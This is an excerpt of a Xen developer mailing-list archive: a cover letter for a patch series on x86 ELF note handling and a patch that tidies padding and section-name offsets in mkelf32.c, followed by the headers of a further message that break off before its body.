Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 14:41:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356279.1610909 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh6z5-0000Ba-V2; Tue, 07 Jul 2026 14:41:15 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356279.1610909; Tue, 07 Jul 2026 14:41:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh6z5-0000BT-Ru; Tue, 07 Jul 2026 14:41:15 +0000
Received: by outflank-mailman (input) for mailman id 1356279;
 Tue, 07 Jul 2026 14:41:15 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wh6z5-0000BN-0M
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 14:41:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh6z4-00Cimh-DO
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 16:41:14 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4d1007-2eae-0a2a0a5409dd-0a2a4509e214-14
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 16:41:14 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4d1009-97e6-0a2a45090019-d155802abdf4-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 16:41:13 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-493bb510ce4so31732345e9.1
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 07:41:13 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493e0f40912sm57590185e9.4.2026.07.07.07.41.12
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 07:41:13 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Autocrypt:Subject:From:Cc:To:Content-Language:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783435273; x=1784040073; darn=lists.xenproject.org;
        h=content-transfer-encoding:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to;
        bh=dqz/x6mkXNjI2+5LqRIe50O8E2Z/sdWtVx0UZEM1OYs=;
        b=YYWQNrprf9JkQBRlkkqTNyZwl5/+OwMDFJxv/fNvs608C9rKCVYWsEG/ul7UlfSAUL
         CioW1DjKY6//3c2+YtQp8dPVnvHGM4flEMRt3Ywozq1MTDRhDLSHG7WPTBZIVeqxXOoi
         MVrbAcPEySEGZwi4AFHqZk4gO3WA9DdFSdYL8tYuuhbghUug5M5r/ypnqxDt4elxobWX
         zLJbfm2FAw4lauP6o6QnJPRu+6jP8N0bn9Ibtg2k02i4UTkPK8WGFLNfeRQKC9IloGoN
         zoyWWI/ZcR3MuVRlotmUf+hqVMT1W8B6viA3vHUx5aCeoEkDW5FtS0WTMVieWdWNDmnO
         ycLg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783435273; x=1784040073;
        h=content-transfer-encoding:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
        bh=dqz/x6mkXNjI2+5LqRIe50O8E2Z/sdWtVx0UZEM1OYs=;
        b=FIAsuRL+8MFFlj4KcTrYKxqaFuAcJcqDVzcDMH59iFOVBZwXXOPEpdbHLKy4/2MQSI
         p+kuZ3ecPsXcVjgXi3d5slRsDlypzJn+lddOBm8nRNre/VUUbSN7Qm14xugFM3qyl12+
         BF2W+y3otQHQfyJWmLh6gQ7cTVc38GpGwBd463gMQyWsNMHvdOhIWHr8Nardtym52pWW
         wyhtxHAQY7/5IIsv5/Pf3A11/R9MJ9gBXeUa1JALgJKIk4vJYZ2+ACr5xOPTbZW9ZGAp
         us3ahS/riP67UVibuVvwrf2S8YLXIbClvlH523Ns2aHXBRNKq1a79e8PU/G6hQeJG6bU
         s9pg==
X-Gm-Message-State: AOJu0Yz18w0vyfe3MSGhGn+HtT3VZFvyk57cbLDj0g6R7JvyF9PVp7ez
	RiQqIVXIPAG3j1nHs+R04c60qEb1h678FqGd7d+U4INQCzqCudwhu3/ZQTh1rg+hvg//eiadb1h
	3eaVJtw==
X-Gm-Gg: AfdE7ckGNXOBBcXu8ttvMJ0boi07Qr60YVF1VLJBqLLbByTCGnevs+ZxStrmdOcYjx/
	RXDi2s7g4NyNqFbwJUUb9rO2t4eeAqKcNYzL/fz6NN9agltEswUkBLeMir1kfQYZMC29J5mQJ3i
	Ka36f5MtU4OvRIaQbtAEZOBHCQuBznsZjbBLS2sBc7aALrQmfEOXLPGx6IZgOktUmpzH63/IvP/
	k93GFV6xtzDPYmJBmurOxqYiqk9bhowLZqdulhXUm2kgxYUmgAmlMN5SHwJUhxnfTz7olmeJJdR
	iKkky5JESAagzsYf/HSJ1TET9EyY23ahX9BLGtiEkqqWUdAZnGj/IsIAX3f0I99JrkpWxgtNAyo
	hs6h8hSaVF2BuLg9ksNa3m4x78ehGl56XAzOAZ2k0a4Okg6tl4ydX4cdWp1yiVT2Ok/rgru3n3O
	gyrQirZ+d9NhAXfrDN1mlbo8wn1KeGoqRNWMy5bzhaL8esMQVeO7SA8LxbmJQ7syY1mLw9p+Se8
	Skf
X-Received: by 2002:a05:600c:8011:b0:492:6113:d4fc with SMTP id 5b1f17b1804b1-493df048928mr63550105e9.17.1783435273446;
        Tue, 07 Jul 2026 07:41:13 -0700 (PDT)
Message-ID: <7a495793-53b1-4681-9c74-fa7e901ccf59@suse.com>
Date: Tue, 7 Jul 2026 16:41:12 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Content-Language: en-US
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>
From: Jan Beulich <jbeulich@suse.com>
Subject: [PATCH v2 0/3] x86: ELF note handling
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 M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HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-bad1c0/1783435274-46126986-2B57DFBA/0/0
X-purgate-type: clean
X-purgate-size: 472

This v2 submission primarily serves as a reminder that the sole original
patch (now patch 2 in this series) is still pending. As there was no
feedback in almost a year, I further did the other change that was
mentioned there (patch 3 here). In the course of doing so, I further
found it desirable to do some up front tidying - patch 1.

1: x86/mkelf32: tidy what is written out
2: ELF: correct .note.* alignment handling
3: x86/mkelf32: re-write ELF notes

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 14:43:23 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 14:43:23 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356286.1610917 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh718-0000h6-98; Tue, 07 Jul 2026 14:43:22 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356286.1610917; Tue, 07 Jul 2026 14:43:22 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh718-0000gz-6A; Tue, 07 Jul 2026 14:43:22 +0000
Received: by outflank-mailman (input) for mailman id 1356286;
 Tue, 07 Jul 2026 14:43:21 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wh717-0000gr-4L
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 14:43:21 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh716-0057RY-HK
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 16:43:20 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4d107a-2eae-0a2a0a5409dd-0a2a4503bde8-40
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 16:43:20 +0200
Received: from [209.85.221.45] (helo=mail-wr1-f45.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4d1088-ec1a-0a2a45030019-d155dd2de4f0-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 16:43:20 +0200
Received: by mail-wr1-f45.google.com with SMTP id
 ffacd0b85a97d-470174001a0so2357785f8f.0
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 07:43:20 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47aa039b0cesm34734408f8f.22.2026.07.07.07.43.19
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 07:43:19 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783435400; x=1784040200; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=zWdYCF/A+zQ3wz2P11T6f9u/k5R4lW8TcTPhxiBHdB8=;
        b=DbiuuC/b6rbH7agNGrR8tAaXm+f0VhVW4u6bNxJujt6Z+zzLt+cCwnoXr+iEXDyxcN
         LnAaFsTiyBcDoKtB02ahkpcAXv2YHoNtCrcLX886zN7qEPSN48DPBcGko2nI7x22y1VZ
         Z7kJVTt91tq7gP0L47UutmiRvEZekwIw23UXzsRu7SedIbsPj8PaYzKD3QLx1JrlHkpA
         JO+kYrJN1RfoFR22++aA4ru+0TyQcORKk59sjXIKe2VwKa8YoHsr0GnzqcBeoq2nHyS1
         cbo7h1EoRWWrK/UTnYlRKSr1FM2F9jOy8kQgLK9icMxDrtZLSloIuh4bR9QF3DnqRM5j
         QLRg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783435400; x=1784040200;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=zWdYCF/A+zQ3wz2P11T6f9u/k5R4lW8TcTPhxiBHdB8=;
        b=O+gqbV6qA7Kkq/ibnSOmRrZSwKjs9v4M3GjdxCp3p5dQxpX92xUmY543uuZJA9MfSh
         Lz3epVXWgakatO1ciSTmEwL/Skusuh2ZAF75vlRiWfm4K2sx1rQt+LJVNkxeCcun2O8X
         tK23bhrJ+dC478KsLINYt/Z4opCX+nKEbuGPtq0aezN765R2hudRI+EHnbhbFIG1IQHi
         R9o4mUGKZ62z+rG7TD4pgyhwTgR9F+foTgtGoF1ow19VUhwHj1e2ilmhf69s3YE8gmO2
         PGcfgMaM0km8OoFKK3wx9brJpqLYJbVRoqwfwi33pK72RU3iESYr/tibiB6T3hjaDGTR
         1jwA==
X-Gm-Message-State: AOJu0YwI6nC6qx/QcYwvT/jnR7DR/TqCOIiILCR+SA+Pw12VkXZcJDTl
	4ydSerc9t0l+y/CnMf0JWyvW+iLTGJ8omrQRjfHY9eb7buNezhDiJzsQ8G/spYFWUkuUhbVg24f
	oE0TtUw==
X-Gm-Gg: AfdE7cm+z90Fbm3glWMI+Jtw0vTV9YXjBuOS6cvo7jONK5VuINS58/JKDUuIcyRxnF/
	Oc8FKEvzQRSiK+sgfUhVApPlz+46/h9w1chvmvT4frzM0sKmeu0CLogieYd7XDwVJbTm6jBNptp
	vfN6t6yLt1GFqHDi3Gcg2cVwNZJzBycuJc4Vt5dc4EtgKHspKf6mAHldN2vj5ZQprD890J6mm3k
	B3L7vKPcv1NA35NzOYx9I97bOgjlOh2UihxzKF0umoW7a3vZToWs0uUWXcU/JJcxbXPCKlcRDVw
	VCZM+O/r8V5VPwYicBYurF/9CzDP+aybuPzwdXuozWdSFjwvQjMzUvzYI8/05QalqYK3RnNuLZO
	8SXz/kr19yJhehq23MQTwVJFY8c8t1483Z1FaJ9lDiCVrqR0fQzKCKBSbz0qTTSVSh1x/66XKz+
	FbNXJqEuanG4zP3O5NL2U1AhLXMAzWsy2kwHIeiShTbJJ/J+9SPVq184uoOpzpyROfAy4dkPn1o
	l/M
X-Received: by 2002:a05:6000:d4b:b0:477:71ef:5d81 with SMTP id ffacd0b85a97d-47de66c7134mr5022894f8f.6.1783435399757;
        Tue, 07 Jul 2026 07:43:19 -0700 (PDT)
Message-ID: <a80dcba5-61cc-47f2-8fb7-01afd022c066@suse.com>
Date: Tue, 7 Jul 2026 16:43:18 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v2 1/3] x86/mkelf32: tidy what is written out
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>
References: <7a495793-53b1-4681-9c74-fa7e901ccf59@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <7a495793-53b1-4681-9c74-fa7e901ccf59@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1783435400-B652F5D1-332A220F/0/0
X-purgate-type: clean
X-purgate-size: 2283

First, replace an open-coded literal number by an expression.

Then adjust tail padding: Don't write up to 4 bytes (and at least one),
but truly only pad to the next 4-byte boundary. And pad with zeroes, not
with whatever is left in buffer[].

Finally drop the explicit nul character in out_shstrtab_extra[] - the one
which is being appended anyway will do fine.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
v2: New.

--- a/xen/arch/x86/boot/mkelf32.c
+++ b/xen/arch/x86/boot/mkelf32.c
@@ -68,7 +68,7 @@ static Elf32_Phdr note_phdr = {
 
 static uint8_t out_shstrtab[] = "\0.text\0.shstrtab";
 /* If num_phdrs >= 2, we need to tack the .note. */
-static uint8_t out_shstrtab_extra[] = ".note\0";
+static uint8_t out_shstrtab_extra[] = ".note";
 
 static Elf32_Shdr out_shdr[] = {
     { 0 },
@@ -97,11 +97,11 @@ static Elf32_Shdr out_shdr[] = {
 };
 
 /*
- * The 17 points to the '.note' in the out_shstrtab and out_shstrtab_extra
+ * .sh_name points to the '.note' in the out_shstrtab and out_shstrtab_extra
  * laid out in the file.
  */
 static Elf32_Shdr out_shdr_note = {
-      17,                                    /* sh_name */
+      sizeof(out_shstrtab),                  /* sh_name */
       SHT_NOTE,                              /* sh_type */
       0,                                     /* sh_flags */
       DYNAMICALLY_FILLED,                    /* sh_addr */
@@ -468,13 +468,21 @@ int main(int argc, char **argv)
         do_write(outfd, out_shstrtab, sizeof(out_shstrtab));
         /* Our .note */
         do_write(outfd, out_shstrtab_extra, sizeof(out_shstrtab_extra));
-        do_write(outfd, buffer, 4-((sizeof(out_shstrtab)+sizeof(out_shstrtab_extra)+dat_siz)&3));
+        bytes = sizeof(out_shstrtab) + sizeof(out_shstrtab_extra) + dat_siz;
     }
     else
     {
         do_write(outfd, out_shstrtab, sizeof(out_shstrtab));
-        do_write(outfd, buffer, 4-((sizeof(out_shstrtab)+dat_siz)&3));
+        bytes = sizeof(out_shstrtab) + dat_siz;
     }
+
+    /* Pad to a multiple of 4 bytes, whatever that's good for. */
+    if ( bytes & 3 )
+    {
+        memset(buffer, 0, 4);
+        do_write(outfd, buffer, 4 - (bytes & 3));
+    }
+
     close(infd);
     close(outfd);
 



From xen-devel-bounces@lists.xenproject.org Tue Jul 07 14:44:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 14:44:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356293.1610927 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh727-0001Bz-Hf; Tue, 07 Jul 2026 14:44:23 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356293.1610927; Tue, 07 Jul 2026 14:44:23 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh727-0001Bs-Ek; Tue, 07 Jul 2026 14:44:23 +0000
Received: by outflank-mailman (input) for mailman id 1356293;
 Tue, 07 Jul 2026 14:44:22 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wh726-0001Bh-8Y
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 14:44:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh725-00EAaw-AH
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 16:44:21 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4d10c1-bab6-0a2a0a5309dd-0a2a450c8e28-2
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 16:44:21 +0200
Received: from [209.85.128.49] (helo=mail-wm1-f49.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4d10c5-f399-0a2a450c0019-d1558031b9b5-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 16:44:21 +0200
Received: by mail-wm1-f49.google.com with SMTP id
 5b1f17b1804b1-493c52cde9eso42331845e9.3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 07:44:21 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493e01c9faesm43411395e9.1.2026.07.07.07.44.19
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 07:44:20 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783435460; x=1784040260; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:content-language
         :references:cc:to:from:subject:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=u3hyLhlP5/kin8s0XlLRomZ02/iENCnGZeQ9jDs63Ng=;
        b=gx2EyMmx0iS0lASa5sQF1hBDmVvXBBAu1xoRabd72VNz5OvPP/s69Xnh3PhH0GZU2k
         pN+2M6z/UTkKEWWFxUqQCtsQxDM/QCFQdnUgN6VxPhfSQSIEQpk0Z0rCvDOotBfiHV2X
         JpGxSpmhHdnSkp2k2lD5ui8Bn+HX1Gn0GA5nD5bZXigx1LTvQrJYLULzDXn08EAwFncz
         gYqEM6kzgzR5/vW2mLXew/i67ds40tdz0VwigFkMmuhy88ZSGEztkO+8mnmygyv9bjki
         Nt6DKZZOlpRDjziuLSuO+YSgZlmYoMuH/sBp4jmNetazPmedeqxy0oOuKYolBhGCRXlR
         BgOA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783435460; x=1784040260;
        h=content-transfer-encoding:in-reply-to:autocrypt:content-language
         :references:cc:to:from:subject:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=u3hyLhlP5/kin8s0XlLRomZ02/iENCnGZeQ9jDs63Ng=;
        b=rkgKV8VzBfn1/PTI0OV9Vx4W9MQgqv7rYAT6+f23h/76OIAUHDPzIvNkiIkGg2kdzd
         HRpOkG4GbfeM2fBz0C2cAtOGgyKw3F7cJ5+ZmPIWXo/aDxsqZvoBcAnlHPclmX2DtlZG
         zQsnOfuHPk7PaqQ9R9OS2wPk4sZVMdR0FtFzZfsA6b8Oy1rMQeEHtyjtkOWJ+30tQPbD
         gtJCIPlBUhr5K7Za4MNO32n28QHUbb9E+C2ua2a38OK/XyrkoQ6T11KPY39AXB8b+NOF
         wNse14SviiMQrSbMxl80OisMvNrgVKGCrZ+142m23mSzH52bCNFZVn3b+b2bOLrwPvNn
         bgeg==
X-Gm-Message-State: AOJu0Yx4Fa1Lavxn8TKDJlt6Jx78bMFiId3p/qFz2j5n0hj+dIAeHpbo
	XgJsdR3o5k+iSkqV53awNM3EHCKH/wEBlz6Bp5hHMfH6ifotjhbthor3yDDKz6ESNRws7Vq1VB1
	7qophRw==
X-Gm-Gg: AfdE7cmApKhzc0jGCarePy5kmLUIonpFljKFstKu5d/fDsz84eFPzXffMeCAfKw7gzH
	c0T+/M7vEjoVb/xVkfw2BjJekAxTN0T/pi4eLCD0mgzz2uAQrLs2a+t6i1npEOVkA4qEESoOsbO
	p+aUbh6a2mg20uTHkniWu7lhVIX+5K0Y148NKH9qVmt91bzXqayvkeQDZY1CFivyPQQCAnxDSt6
	UDudPgiXXLOLOCz7oU1A91l7HHhO2tuhYr+O/ec7DiTRzpw3zPC/k2/lGnncrIgjRC0BFdxYIjT
	zJC8yc3OPbBZM9+D9dPI+OO4qp3Kk/JEADuwtqUwo2Rf6zRQnG5NArMud0chcEuvG1YHEbAP63R
	Eux01HHap3wbV/Ia3kUmyu/xesTgFbnbLiOoTk1SxXCLgkZ7dph9OKB/fhnBvZDzgFpqWwOtwzm
	tl4g6B4kp5STs1ZocTnkxsM9A3jl1clwKyZG71utq+bMSiuONR9lbea3AZZxPjdqMEjMu/zHXNM
	zUb
